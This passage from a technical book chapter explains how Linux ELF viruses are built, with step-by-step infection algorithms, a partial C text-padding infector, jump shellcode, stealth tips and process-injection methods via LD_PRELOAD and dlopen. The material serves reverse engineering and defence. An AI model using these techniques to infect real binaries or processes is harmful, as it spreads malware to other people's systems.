knowledge to design, release, and publish viruses in virus and hacker e-zines  
(see http://vxheaven.org/lib/static/vdat/ezines1.htm).

The art of virus writing is usually of great inspiration to hackers and underground 
technical enthusiasts, not because of the destruction that they are capable of, but 
rather the challenge in designing them and the unconventional coding techniques 
that are required to succeed in programming a parasite that keeps its residency by 
hiding in other executables and processes. Also, the techniques and solutions that 
come with keeping a parasite stealthy, such as polymorphic and metamorphic code, 
present a unique challenge to programmers.

UNIX viruses have been around since the early '90s, but I think many would agree to 
say that the true father of the UNIX virus is Silvio Cesare (http://vxheaven.org/
lib/vsc02.html), who published many papers in the late 90s on ELF virus infection 
methods. These methods are still being used today in different variations.

Silvio was the first to publish some awesome techniques, such as PLT/GOT 
redirection, text segment padding infections, data segment infections, relocatable 
code injection, /dev/kmem patching, and kernel function hijacking. Not only that, but 
he personally played a big role in my introduction to ELF binary hacking, and I will 
always remain grateful for his influence.

http://vxheaven.org/lib/static/vdat/ezines1.htm
http://vxheaven.org/lib/vsc02.html
http://vxheaven.org/lib/vsc02.html
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In this chapter, we will discuss why it is important to understand ELF virus 
technology and how to design them. The technology behind an ELF virus can 
be utilized for many things other than writing viruses, such as general binary 
patching and hot patching, which can be used in security, software engineering, and 
reversing. In order to reverse-engineer a virus, it would behoove you to understand 
how many of them work. It is worth noting that I recently reverse-engineered and 
wrote a profile for a unique and exceptional ELF virus called Retaliation. This work 
can be found at http://www.bitlackeys.org/#retaliation.

ELF virus technology
The world of ELF virus technology shall open up many doors to you as a hacker and 
engineer. To begin, let's discuss what an ELF virus is. Every executable program has 
a control flow, also called the path of execution. The first aim of an ELF virus is to 
hijack the control flow so that the path of execution is temporarily altered in order 
to execute the parasite code. The parasite code is usually responsible for setting up 
hooks to hijack functions and also for copying itself (the body of the parasite code) 
into another program that hasn't yet been infected by the virus. Once the parasite 
code is done running, it usually jumps to the original entry point or the regular path 
of execution. This way, the virus goes unnoticed, since the host program appears to 
be executing normally.

Figure 4.1: Generic infection to an executable

http://www.bitlackeys.org/#retaliation


Chapter 4

[ 93 ]

ELF virus engineering challenges
The design phase of an ELF virus may be considered an artistic endeavor, requiring 
creative thinking and clever constructs; many passionate coders will agree with this. 
Meanwhile, it is a great engineering challenge that exceeds the regular conventions 
of programming, requiring the developer to think outside conventional paradigms 
and to manipulate the code, data, and environment into behaving a certain way. At 
one point in time, I did a security assessment at a large antivirus (AV) company for 
one of their products. While talking with the developers of the AV software, I was 
amazed that next to none of them had any real idea of how to engineer a virus, let 
alone design any real heuristics for identifying them (other than signatures). The 
truth is that virus writing is difficult, and requires serious skill. There are a number 
of challenges that come into play when engineering them, and before we discuss the 
engineering components, let's look at what some of these challenges are.

Parasite code must be self-contained
A parasite must be able to physically exist inside another program. This means that 
it does not have the luxury of linking to outside libraries through the dynamic linker. 
The parasite must be self-contained, which means that it relies on no external linking, 
is position independent, and is able to dynamically calculate memory addresses 
within itself; this is because the addresses will change between each infection, since 
the parasite will be injected into an existing binary where its position will change 
each time. This means that if the parasite code references a function or a string by  
its address, the hardcoded address will change and the code will fail; instead, use  
IP-relative code with a function that calculates the address of the code/data by its 
offset to the instruction pointer.

In some more complex memory viruses such as my Saruman virus, 
I allow the parasite to be compiled as an executable program with 
dynamic linking, but the code to launch it into a process address space 
is very complicated, because it must handle relocations and dynamic 
linking manually. There are also relocatable code injectors such as 
Quenya, which allow a parasite to be compiled as relocatable objects, 
but the infector must be able to support handling relocations during 
the infection phase.
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Solution
Compile your initial virus executable with the gcc option -nostdlib. You may also 
compile it with -fpic -pie to make the executable position-independent code 
(PIC). The IP-relative addressing available on x86_64 machines is actually a nice 
feature for virus writers. Create your own common functions, such as strcpy() 
and memcmp(). When you need advanced functionality such as heap allocation 
with malloc(), you may instead use sys_brk() or sys_mmap() to create your own 
allocation routines. Create your own syscall wrappers, for example, a wrapper for 
the mmap syscall is shown here, using C and inline assembly:

#define __NR_MMAP 9
void *_mmap(unsigned long addr, unsigned long len, unsigned long prot, 
unsigned long flags, long fd, unsigned long off)
{
        long mmap_fd = fd;
        unsigned long mmap_off = off;
        unsigned long mmap_flags = flags;
        unsigned long ret;

        __asm__ volatile(
                         "mov %0, %%rdi\n"
                         "mov %1, %%rsi\n"
                         "mov %2, %%rdx\n"
                         "mov %3, %%r10\n"
                         "mov %4, %%r8\n"
                         "mov %5, %%r9\n"
                         "mov $__NR_MMAP, %%rax\n"
                         "syscall\n" : : "g"(addr), "g"(len),  
                         "g"(prot),                "g"(flags),  
                         "g"(mmap_fd), "g"(mmap_off));
        __asm__ volatile ("mov %%rax, %0" : "=r"(ret));
        return (void *)ret;
}

Once you have a wrapper calling the mmap() syscall, you can create a simple  
malloc routine.

The malloc function is used to allocate memory on the heap. Our little malloc 
function uses a memory-mapped segment for each allocation, which is inefficient  
but suffices for simple use cases:

void * _malloc(size_t len)
{
        void *mem = _mmap(NULL, len, PROT_READ|PROT_WRITE, 
          MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
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        if (mem == (void *)-1)
                return NULL;
        return mem;
}

Complications with string storage
This challenge rather blends in with the last section on self-contained code. When 
handling strings in your virus code, you may have:

const char *name = "elfmaster";

You will want to tend to stay away from code such as the preceding one. This is 
because the compiler will likely store the elfmaster data in the .rodata section, and 
then reference that string by its address. The address will not be valid once the virus 
executable is injected inside another program. This problem is really coupled with 
the problem of hardcoded addresses that we discussed earlier.

Solution
Use the stack to store strings so that they are dynamically allocated at runtime:

char name[10] = {'e', 'l', 'f', 'm', 'a', 's', 't', 'e', 'r',  
'\0'};

Another neat trick that I just recently discovered during the construction of the 
Skeksi virus for 64-bit Linux is to merge the text and data segment into a single 
segment, that is, read+write+execute (RWX), by using the -N option with gcc. This is 
very nice because the global data and read-only data, such as the .data and .rodata 
sections, are all merged into a single segment. This allows the virus to simply inject 
the entire segment during the infection phase, which will include string literals such 
as those from .rodata. This technique combined with IP-relative addressing allows 
a virus author to use traditional string literals:

char *name = "elfmaster";

This type of string can now be used in the virus code, and the method of storing 
strings on the stack can be avoided entirely. It is important to note, however, that 
keeping all of the strings stored off the stack in global data will cause the overall size 
of the virus parasite to increase, which is sometimes undesirable. The Skeksi virus 
was recently released and is available at http://www.bitlackeys.org/#skeksi.

http://www.bitlackeys.org/#skeksi
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Finding legitimate space to store parasite 
code
This is one of the big questions to answer when writing a virus: where will the 
payload (the body of the virus) be injected? In other words, where in the host binary 
will the parasite live? The possibilities vary from binary format to binary format. In 
the ELF format, there are quite a number of places to inject code, but they all require 
correct adjustment of the various different ELF header values.

The challenge isn't necessarily finding space but rather adjusting the ELF binary to 
allow you to use that space while keeping the executable file looking reasonably 
normal and staying within the ELF specifications closely enough so that it still 
executes properly. There are many things that must be considered when patching 
a binary and modifying its layout, such as page alignment, offset adjustments, and 
address adjustments.

Solution
Read the ELF specs carefully when creating new methods of binary patching, and 
make sure that you stay within the boundaries necessary for program execution.  
In the next section, we will discuss some techniques of virus infection.

Passing the execution control flow to the 
parasite
Here is another common challenge, which is how to pass the control flow of the 
host executable to the parasite. In many cases, it will suffice to adjust the entry point 
in the ELF file header to point to the parasite code. This is reliable, but also very 
obvious. If the entry point has been modified to point at the parasite, then we can  
use readelf -h to see the entry point and immediately know the location of the 
parasite code.

Solution
If you don't want to modify the entry point address, then consider finding a place 
where you can insert/modify a branch to your parasite code, such as inserting a 
jmp or overwriting a function pointer. One great place for this is in the .ctors or 
.init_array sections, which contain function pointers. The .dtors or .fini_array 
sections can work as well if you don't mind the parasite executing after the regular 
program code (instead of before).
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ELF virus parasite infection methods
There are only so many places to fit code in a binary, and for any sophisticated virus, 
the parasite is going to be at least a few thousand bytes and will require enlarging 
the size of the host executable. In ELF executables, there aren't a whole lot of code 
caves (such as in the PE format), so you are not likely to be able to shove more than 
just a meager amount of shellcode into existing code slots (such as areas that have  
0s or NOPS for function padding).

The Silvio padding infection method
This infection method was conceived by Silvio Cesare in the late '90s and has since 
shown up in various Linux viruses, such as Brundle Fly and the POCs produced by 
Silvio himself. This method is inventive, but it limits the infection payload to one 
page size. On 32-bit Linux systems, this is 4096 bytes, but on 64-bit systems, the 
executables use large pages that measure 0x200000 bytes, which allows for about  
a 2-MB infection. The way that this infection works is by taking advantage of the  
fact that in memory, there will be one page of padding between the text segment  
and data segment, whereas on disk, the text and data segments are back to back,  
but someone can take advantage of the expected space between segments and  
utilize that as an area for the payload. 

Figure 4.2: The Silvio padding infection layout

The text padding infection created by Silvio is heavily detailed and documented in 
his VX Heaven paper Unix ELF parasites and viruses (http://vxheaven.org/lib/
vsc01.html), so for extended reading, by all means check it out.

http://vxheaven.org/lib/vsc01.html
http://vxheaven.org/lib/vsc01.html
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Algorithm for the Silvio .text infection method
1. Increase ehdr->e_shoff by PAGE_SIZE in the ELF file header.
2. Locate the text segment phdr:

1. Modify the entry point to the parasite location:
ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz

2. Increase phdr[TEXT].p_filesz by the length of the parasite.
3. Increase phdr[TEXT].p_memsz by the length of the parasite.

3. For each phdr whose segment is after the parasite, increase  
phdr[x].p_offset by PAGE_SIZE bytes.

4. Find the last shdr in the text segment and increase shdr[x].sh_size  
by the length of the parasite (because this is the section that the parasite  
will exist in).

5. For every shdr that exists after the parasite insertion, increase  
shdr[x].sh_offset by PAGE_SIZE.

6. Insert the actual parasite code into the text segment at (file_base + 
phdr[TEXT].p_filesz).

The original p_filesz value is used in the computation.

It makes more sense to create a new binary that reflects all of 
the changes and then copy it over the old binary. This is what 
I mean by inserting the parasite code: rewriting a new binary 
that includes the parasite within it.

A good example of this infection technique being implemented by an ELF virus is 
my lpv virus, which was written in 2008. For the sake of being efficient, I will not 
paste the code here, but it can be found at http://www.bitlackeys.org/projects/
lpv.c.

An example of text segment padding infection
A text segment padding infection (also referred to as a Silvio infection) can best be 
demonstrated by some example code, where we see how to properly adjust the ELF 
headers before inserting the actual parasite code.

http://www.bitlackeys.org/projects/lpv.c
http://www.bitlackeys.org/projects/lpv.c
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Adjusting the ELF headers
#define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we 
patch
/* movl $addr, %eax; jmp *eax; */
char parasite_shellcode[] =
        "\xb8\x00\x00\x00\x00"      
        "\xff\xe0"                  
;

int silvio_text_infect(char *host, void *base, void *payload,  
size_t host_len, size_t parasite_len)
{
        Elf64_Addr o_entry;
        Elf64_Addr o_text_filesz;
        Elf64_Addr parasite_vaddr;
        uint64_t end_of_text;
        int found_text;

        uint8_t *mem = (uint8_t *)base;
        uint8_t *parasite = (uint8_t *)payload;

        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
        Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
        Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];

        /*
         * Adjust program headers
         */
        for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
                if (phdr[i].p_type == PT_LOAD) {
                        if (phdr[i].p_offset == 0) {

                                o_text_filesz = phdr[i].p_filesz;
                                end_of_text = phdr[i].p_offset +  
                                phdr[i].p_filesz;
                                parasite_vaddr = phdr[i].p_vaddr +  
                                o_text_filesz;

                                phdr[i].p_filesz += parasite_len;
                                phdr[i].p_memsz += parasite_len;

                                for (j = i + 1; j < ehdr->e_phnum;  
                                j++)



ELF Virus Technology – Linux/Unix Viruses

[ 100 ]

                                        if (phdr[j].p_offset >  
                                         phdr[i].p_offset +  
                                         o_text_filesz)
                                                phdr[j].p_offset  
                                                += PAGE_SIZE;

                                }
                                break;
                        }
        }
        for (i = 0; i < ehdr->e_shnum; i++) {
                if (shdr[i].sh_addr > parasite_vaddr)
                        shdr[i].sh_offset += PAGE_SIZE;
                else
                if (shdr[i].sh_addr + shdr[i].sh_size ==  
                parasite_vaddr)
                        shdr[i].sh_size += parasite_len;
        }
     
    /*
      * NOTE: Read insert_parasite() src code next
         */
        insert_parasite(host, parasite_len, host_len,
                        base, end_of_text, parasite,  
                        JMP_PATCH_OFFSET);
        return 0;
}

Inserting the parasite code
#define TMP "/tmp/.infected"

void insert_parasite(char *hosts_name, size_t psize, size_t hsize,  
uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t  
jmp_code_offset)
{
/* note: jmp_code_offset contains the 
 * offset into the payload shellcode that 
 * has the branch instruction to patch 
 * with the original offset so control 
 * flow can be transferred back to the 
 * host.
 */
        int ofd;
        unsigned int c;
        int i, t = 0;
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        open (TMP, O_CREAT | O_WRONLY | O_TRUNC,  
        S_IRUSR|S_IXUSR|S_IWUSR);  
        write (ofd, mem, end_of_text);
        *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
        write (ofd, parasite, psize);
        lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
        mem += end_of_text;
        unsigned int sum = end_of_text + PAGE_SIZE;
        unsigned int last_chunk = hsize - end_of_text;
        write (ofd, mem, last_chunk);
        rename (TMP, hosts_name);
        close (ofd);
}

Example of using the functions above
uint8_t *mem = mmap_host_executable("./some_prog");
silvio_text_infect("./some_prog", mem, parasite_shellcode,  
parasite_len);

The LPV virus
The LPV virus uses the Silvio padding infection and is designed for 32-bit Linux 
systems. It is available for download at http://www.bitlackeys.org/#lpv.

Use cases for the Silvio padding infection
The Silvio padding infection method discussed is very popular and has as such been 
used a lot. The implementation of this method on 32-bit UNIX systems is limited to 
a parasite of 4,096 bytes, as mentioned earlier. On newer systems where large pages 
are used, this infection method has a lot more potential and allows much larger 
infections (upto 0x200000 bytes). I have personally used this method for parasite 
infection and relocatable code injection, although I have ditched it in favor of the 
reverse text infection method, which we will discuss next.

The reverse text infection
This idea behind this infection was originally conceived and documented by  
Silvio in his UNIX viruses paper, but it did not provide a working POC. I have since 
extended this into an algorithm that I have used for a variety of ELF hacking projects, 
including my software protection product Mayas Veil, which is discussed at  
http://www.bitlackeys.org/#maya.

http://www.bitlackeys.org/#lpv
http://www.bitlackeys.org/#maya
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The premise behind this method is to extend the text segment in reverse. In doing 
this, the virtual address of  the text will be reduced by PAGE_ALIGN (parasite_size). 
And since the smallest virtual mapping address allowed (as per /proc/sys/vm/
mmap_min_addr) on modern Linux systems is 0x1000, the text virtual address can be 
extended backwards only that far. Fortunately, since the default text virtual address 
on a 64-bit system is usually 0x400000, this leaves room for a parasite of 0x3ff000 
bytes (minus another sizeof(ElfN_Ehdr) bytes, to be exact).

The complete formula to calculate the maximum parasite size for a host executable 
would be this:

max_parasite_length = orig_text_vaddr - (0x1000 +  
sizeof(ElfN_Ehdr))

On 32-bit systems, the default text virtual address is 0x08048000, which 
leaves room for an even larger parasite than on a 64-bit system:

(0x8048000 - (0x1000 + sizeof(ElfN_Ehdr)) = (parasite  
len)134508492

Figure 4.3: The reverse text infection layout

There are several attractive features to this .text infection: not only does it allow 
extremely large code injections, but it also allows for the entry point to remain 
pointing to the .text section. Although we must modify the entry point, it will still 
be pointing to the actual .text section rather than another section such as .jcr or 
.eh_frame, which would immediately look suspicious. The insertion spot is in the 
text, so it is executable (like the Silvio padding infection). This beats data segment 
infections, which allow unlimited insertion space but require altering the segment 
permissions on NX-bit enabled systems.
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Algorithm for reverse text infection

This makes a reference to the PAGE_ROUND(x) macro and rounds an 
integer up to the next PAGE aligned value.

1. Increase ehdr->e_shoff by PAGE_ROUND(parasite_len).
2. Find the text segment, phdr, and save the original p_vaddr:

1. Decrease p_vaddr by PAGE_ROUND(parasite_len).
2. Decrease p_paddr by PAGE_ROUND(parasite_len).
3. Increase p_filesz by PAGE_ROUND(parasite_len).
4. Increase p_memsz by PAGE_ROUND(parasite_len).

3. Find every phdr whose p_offset is greater than the text's p_offset and 
increase p_offset by PAGE_ROUND(parasite_len); this will shift them  
all forward, making room for the reverse text extension.

4. Set ehdr->e_entry to this:
orig_text_vaddr – PAGE_ROUND(parasite_len) +  
sizeof(ElfN_Ehdr)

5. Increase ehdr->e_phoff by PAGE_ROUND(parasite_len).
6. Insert the actual parasite code by creating a new binary to reflect all of these 

changes and copy the new binary over the old.

A complete example of the reverse text infection method can be found on my website 
at http://www.bitlackeys.org/projects/text-infector.tgz.

An even better example of the reverse text infection is used in the Skeksi virus, 
which can be downloaded from the link provided earlier in this chapter. A complete 
disinfection program for this type of infection is also available here:

http://www.bitlackeys.org/projects/skeksi_disinfect.c.

http://www.bitlackeys.org/projects/text-infector.tgz
http://www.bitlackeys.org/projects/skeksi_disinfect.c
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Data segment infections
On systems that do not have the NX bit set, such as 32-bit Linux systems, one can 
execute code in the data segment (even though its permissions are R+W) without 
having to change the segment permissions. This can be a really nice way to infect a 
file, because it leaves infinite room for the parasite. One can simply append to the 
data segment with the parasite code. The only caveat to this is that you must leave 
room for the .bss section. The .bss section takes up no room on disk but is allocated 
space at the end of the data segment at runtime for uninitialized variables. You  
may get the size of what the .bss section will be in memory by subtracting the  
data segment's phdr->p_filesz from its phdr->p_memsz.

Figure 4.4: Data segment infection

Algorithm for data segment infection
1. Increase ehdr->e_shoff by the parasite size.
2. Locate the data segment phdr:

1. Modify ehdr->e_entry to point where parasite code will be:
phdr->p_vaddr + phdr->p_filesz

2. Increase phdr->p_filesz by the parasite size.
3. Increase phdr->p_memsz by the parasite size.

3. Adjust the .bss section header so that its offset and address reflect where the 
parasite ends.

4. Set executable permissions on data segment:
phdr[DATA].p_flags |= PF_X;

Step 4 only applies to systems with the NX (non-executable pages) bit 
set. On 32-bit Linux, the data segment doesn't require to be marked 
executable in order to execute code unless something like PaX 
(https://pax.grsecurity.net/) is installed in the kernel.

https://pax.grsecurity.net/
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5. Optionally, add a section header with a fake name to account for your 
parasite code. Otherwise, if someone runs /usr/bin/strip <infected_
program> it will remove the parasite code completely if it's not accounted  
for by a section.

6. Insert the parasite by creating a new binary that reflects the changes and 
includes the parasite code.

Data segment infections serve well for scenarios that aren't necessarily virus-specific 
as well. For instance, when writing packers, it is often useful to store the encrypted 
executable within the data segment of the stub executable.

The PT_NOTE to PT_LOAD conversion 
infection method
This method is extremely powerful and, although easily detectable, is also relatively 
easy to implement and provides reliable code insertion. The idea is to convert the 
PT_NOTE segment to the PT_LOAD type and move its position to go after all of the 
other segments. Of course, you could also just create an entirely new segment by 
creating a PT_LOAD phdr entry, but since a program will still execute without a 
PT_NOTE segment, you might as well convert it to PT_LOAD. I have not personally 
implemented this technique for a virus, but I have designed a feature in Quenya v0.1 
that allows you to add a new segment. I also did an analysis of the Retaliation Linux 
virus authored by Jpanic, which uses this method for infection:

http://www.bitlackeys.org/#retaliation.

Figure 4.5: PT_LOAD infection

http://www.bitlackeys.org/#retaliation
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There are no strict rules about the PT_LOAD infection. As mentioned here, you may 
convert PT_NOTE into PT_LOAD or create an entirely new PT_LOAD phdr and segment.

Algorithm for PT_NOTE to PT_LOAD 
conversion infections

1. Locate the data segment phdr:
1. Find the address where the data segment ends:

    ds_end_addr = phdr->p_vaddr + p_memsz

2. Find the file offset of the end of the data segment:
    ds_end_off = phdr->p_offset + p_filesz

3. Get the alignment size used for the loadable segment:
    align_size = phdr->p_align

2. Locate the PT_NOTE phdr:
1. Convert phdr to PT_LOAD:

    phdr->p_type = PT_LOAD;

2. Assign it this starting address:
    ds_end_addr + align_size

3. Assign it a size to reflect the size of your parasite code:
    phdr->p_filesz += parasite_size
    phdr->p_memsz += parasite_size

3. Use  ehdr->e_shoff += parasite_size to account for the new segment.
4. Insert the parasite code by writing a new binary to reflect the ELF header 

changes and new segment.

Remember that the section header table goes after the parasite 
segment, hence ehdr->e_shoff += parasite_size.
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Infecting control flow
In the previous section, we examined the methods in which parasite code can 
be introduced into a binary and then executed by modifying the entry point of 
the infected program. As far as introducing new code into a binary goes, these 
methods work excellently; in fact, they are great for binary patching, whether it 
be for legitimate engineering reasons or for a virus. Modifying the entry point is 
also quite suitable in many cases, but it is far from stealthy, and in some cases, you 
may not want your parasite code to execute at entry time. Perhaps your parasite 
code is a single function that you infected a binary with and you only want this 
function to be called as a replacement for another function within the binary that it 
infected; this is called function hijacking. When intending to pursue more intricate 
infection strategies, we must be aware of all of the possible infection points in an ELF 
program. This is where things begin to get real interesting. Let's take a look at many 
of the common ELF binary infection points:

Figure 4.6:  ELF infection points

As shown in the preceding figure, there are six other primary areas in the ELF 
program that can be manipulated to modify the behavior in some way.
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Direct PLT infection
Do not confuse this with PLT/GOT (sometimes called PLT hooks). The PLT 
(procedure linkage table) and GOT (global offset table) work closely in conjunction 
during dynamic linking and through shared library function calls. They are two 
separate sections, though. We learned about them in the Dynamic linking section of 
Chapter 2, The ELF Binary Format. As a quick refresher, the PLT contains an entry 
for every shared library function. Each entry contains code that performs an indirect 
jmp to a destination address that is stored in the GOT. These addresses eventually 
point to their associated shared library function once the dynamic linking process 
has been completed. Usually, it is practical for an attacker to overwrite the GOT 
entry containing the address that points to his or her code. This is practical because 
it is easiest; the GOT is writable, and one must only modify its table of addresses to 
change the control flow. When discussing direct PLT infection, we are not referring  
to modifying the GOT, though. We are talking about actually modifying the PLT  
code so that it contains a different instruction to alter the control flow.

The following is the code for a PLT entry for the libc fopen() function:

0000000000402350 <fopen@plt>:
  402350:       ff 25 9a 7d 21 00       jmpq   *0x217d9a(%rip)         
  # 61a0f0
  402356:       68 1b 00 00 00          pushq  $0x1b
  40235b:       e9 30 fe ff ff          jmpq   402190 <_init+0x28>

Notice that the first instruction is an indirect jump. The instruction is six bytes long: 
this could easily be replaced with another five/six-byte instruction that changes the 
control flow to the parasite code. Consider the following instructions:

push $0x000000 ; push the address of parasite code onto stack
ret       ; return to parasite code

These instructions are encoded as \x68\x00\x00\x00\x00\xc3, which could 
be injected into the PLT entry to hijack all fopen() calls with a parasite function 
(whatever that might be). Since the .plt section is in the text segment, it is read-only, 
so this method won't work as a technique for exploiting vulnerabilities (such as .got 
overwriting), but it is absolutely possible to implement with a virus or a memory 
infection.
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Function trampolines
This type of infection certainly falls into the last category of direct PLT infection, 
but to be specific with our terminology, let me describe what a traditional function 
trampoline usually refers to, which is overwriting the first five to seven bytes of a 
function's code with some type of branch instruction that changes the control flow:

movl $<addr>, %eax  --- encoded as \xb8\x00\x00\x00\x00\xff\xe0
jmp *%eax
push $<addr>      --- encoded as \x68\x00\x00\x00\xc3
ret

The parasite function is then called instead of the intended function. If the parasite 
function needs to call the original function, which is often the case, then it is the job 
of the parasite function to replace those five to seven bytes in the original function 
with the original instructions, call it, and then copy the trampoline code back into 
place. This method can be used both by applying it in the actual binary itself or 
in memory. This technique is commonly used when hijacking kernel functions, 
although it is not very safe in multithreaded environments.

Overwriting the .ctors/.dtors function pointers
This method was actually mentioned earlier in this chapter when discussing the 
challenges of directing the control flow of execution to the parasite code. For the sake 
of completeness, I will give a recap of it: Most executables are compiled by linking 
to libc, and so gcc includes glibc initialization code in compiled executables and 
shared libraries. The .ctors and .dtors sections (sometimes called .init_array 
and .fini_array) contain function pointers to initialization or finalization code. The 
.ctors/.init_array function pointers are triggered before main() is ever called. This 
means that one can transfer control to their virus or parasite code by overwriting one 
of the function pointers with the proper address. The .dtors/.fini_array function 
pointers are not triggered until after main(), which can be desirable in some cases. For 
instance, certain heap overflow vulnerabilities (for example, Once upon a free: http://
phrack.org/issues/57/9.html) result in allowing the attacker to write four bytes to 
any location, and often will overwrite a .dtors function pointer with an address that 
points to shellcode. In the case of most virus or malware authors, the .ctors/.init_
array function pointers are more commonly the target, since it is usually desirable to 
get the parasite code to run before the rest of the program.

http://phrack.org/issues/57/9.html
http://phrack.org/issues/57/9.html
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GOT – global offset table poisoning or  
PLT/GOT redirection
Also called PLT/GOT infection, GOT poisoning is probably the best way to hijack 
shared library functions. It is relatively easy and allows attackers to make good use 
of the GOT, which is a table of pointers. Since we discussed the GOT in depth in 
the dynamic linking section in Chapter 2, The ELF Binary Format, I won't elaborate 
more on its purpose. This technique can be applied by infecting a binary's GOT 
directly or simply doing it in memory. There is a paper about doing this in memory 
that I wrote in 2009 called Modern Day ELF Runtime infection via GOT poisoning at 
http://vxheaven.org/lib/vrn00.html, which explains how to do this in runtime 
process infection and also provides a technique that can be used to bypass security 
restrictions imposed by PaX.

Infecting data structures
The data segment of an executable contains global variables, function pointers, and 
structures. This opens up an attack vector that is isolated to specific executables, as 
each program has a different layout in the data segment: different variables, structures, 
function pointers, and so on. Nonetheless, if an attacker is aware of the layout, one 
can manipulate them by overwriting function pointers and other data to change 
the behavior of the executable. One good example of this is with data/.bss buffer 
overflow exploits. As we learned in Chapter 2, The ELF Binary Format, .bss is allocated 
at runtime (at the end of the data segment) and contains uninitialized global variables. 
If someone were able to overflow a buffer that contained a path to an executable that is 
executed, then one could control which executable would be run.

Function pointer overwrites
This technique really falls into the last one (infecting data structures) and also into 
the one pertaining to .ctors/.dtors function pointer overwrites. For the sake of 
completeness, I have it listed it as its own technique, but essentially, these pointers 
are going to be in the data segment and in .bss (initialized/uninitialized static data). 
As we've already talked about, one can overwrite a function pointer to change the 
control flow so that it points to the parasite.

http://vxheaven.org/lib/vrn00.html
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Process memory viruses and rootkits – 
remote code injection techniques
Up until now, we've covered the fundamentals of infecting ELF binaries with 
parasite code, which is enough to keep you busy for at least several months of 
coding and experimentation. This chapter would not be complete, though, without 
a thorough discussion of infecting process memory. As we've learned, a program in 
memory is not much different than it is on disk, and we can access and manipulate 
a running program with the ptrace system call, as shown in Chapter 3, Linux Process 
Tracing. Process infections are a lot more stealthy than binary infections, since they 
don't modify anything on disk. Therefore, process memory infections are usually 
an attempt at defeating forensic analysis. All of the ELF infection points that we just 
discussed are relevant to process infection, although injecting actual parasite code is 
done differently than it is with an ELF binary. Since it is in memory, we must get the 
parasite code into memory, which can be done by injecting it directly with PTRACE_
POKETEXT (overwriting existing code) or, more preferably, by injecting shellcode 
that creates a new memory mapping to store the code. This is where things such as 
shared library injection come into play. Throughout the rest of this chapter, we will 
discuss some methods for remote code injection (injecting code into another process).

Shared library injection –  
.so injection/ET_DYN injection
This technique can be used to inject a shared library (whether malicious or not) into 
an existing process' address space. Once the library is injected, you may use one of 
the infection points described earlier to redirect control flow to the shared library 
through PLT/GOT redirection, function trampolines, and so on. The challenge is 
getting the shared library into the process, and this can be done in a number of ways.

.so injection with LD_PRELOAD
It is debatable whether we can actually call this method for injecting a shared library 
into a process is debatable injection, since it does not work on existing processes but 
rather the shared library is loaded upon execution of the program. This works by 
setting the LD_PRELOAD environment variable so that the desired shared library is 
loaded with precedence before any others. This can be a good way to quickly test 
subsequent techniques such as PLT/GOT redirection, but is not stealthy and does 
not work on existing processes.
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Illustration 4.7 – using LD_PRELOAD to inject 
wicked.so.1
$ export LD_PRELOAD=/tmp/wicked.so.1

$ /usr/local/some_daemon

$ cp /lib/x86_64-linux-gnu/libm-2.19.so /tmp/wicked.so.1

$ export LD_PRELOAD=/tmp/wicked.so.1

$ /usr/local/some_daemon &

$ pmap `pidof some_daemon` | grep 'wicked'

00007ffaa731e000   1044K r-x-- wicked.so.1

00007ffaa7423000   2044K ----- wicked.so.1

00007ffaa7622000      4K r---- wicked.so.1

00007ffaa7623000      4K rw--- wicked.so.1

As you can see, our shared library, wicked.so.1, is mapped into the process address 
space. Amateurs tend to use this technique to create little userland rootkits that 
hijack glibc functions. This is because the preloaded library will take precedence 
over any of the other shared libraries, so if you name your functions the same as 
a glibc function such as open() or write() (which are wrappers for syscalls), 
then your preloaded libraries' version of the functions will execute and not the real 
open() and write(). This is a cheap and dirty way to hijack glibc functions and 
should not be used if an attacker wishes to remain stealthy.
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.so injection with open()/mmap() shellcode
This is a way to load any file (including shared libraries) into the process address 
space by injecting shellcode (using ptrace) into an existing process' text segment 
and then executing it to perform open/mmap on a shared library into the process. 
We demonstrated this in Chapter 3, Linux Process Tracing, with our code_inject.c 
example, which loaded a very simple executable into the process. That same code 
could be used to load a shared library in as well. The problem with this technique 
is that most shared libraries that you will want to inject will require relocations. The 
open()/mmap() functions will only load the file into memory but won't handle code 
relocations, so mostly any shared library that you will want to load won't properly 
execute unless it's completely position-independent code. At this point, you could 
choose to manually handle the relocations by parsing the shared libraries' relocations 
and applying them in memory using ptrace(). Fortunately, an easier solution exists, 
which we will discuss next.

.so injection with dlopen() shellcode
The dlopen() function is used to dynamically load shared libraries that an 
executable wasn't linked with in the first place. Developers often use this as a way to 
create plugins for their applications in the form of shared libraries. A program can 
call dlopen() to load a shared library on the fly, and it actually invokes the dynamic 
linker to perform all of the relocations for you. There is a problem, though: most 
processes do not have dlopen() available to them, because it exists in libdl.so.2, 
and a program must be explicitly linked to libdl.so.2 in order to invoke dlopen(). 
Fortunately, there is also a solution to this: almost every single program has libc.so 
mapped into the process address space by default (unless it was explicitly compiled 
otherwise) and libc.so has an equivalent to dlopen() called __libc_dlopen_
mode(). This function is used almost in the exact same way, but it requires a special 
flag be set:

#define DLOPEN_MODE_FLAG 0x80000000

This isn't much of a hurdle. But prior to using __libc_dlopen_mode(), you must 
first resolve it remotely by getting the base address of libc.so in the process 
you want to infect, resolve the symbol for __libc_dlopen_mode(), and then add 
the symbol value st_value (refer to Chapter 2, The ELF Binary Format) to the base 
address of libc to get the final address of __libc_dlopen_mode(). You can then 
design some shellcode in C or assembly that calls __libc_dlopen_mode() to load 
your shared library into the process, with full relocations and ready to execute. The 
__libc_dlsym() function can then be used to resolve symbols within your shared 
library. See the dlopen manpages for more details on using dlopen() and dlsym().
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Illustration 4.8 – C code invoking __libc_dlopen_
mode()

/* Taken from Saruman's launcher.c */
#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag
#define __BREAKPOINT__ __asm__ __volatile__("int3");
#define __RETURN_VALUE__(x) __asm__ __volatile__("mov %0, %%rax\n"  
:: "g"(x))

__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path,  
void *dlopen_addr)
{
        void * (*libc_dlopen_mode)(const char *, int) =  
        dlopen_addr;
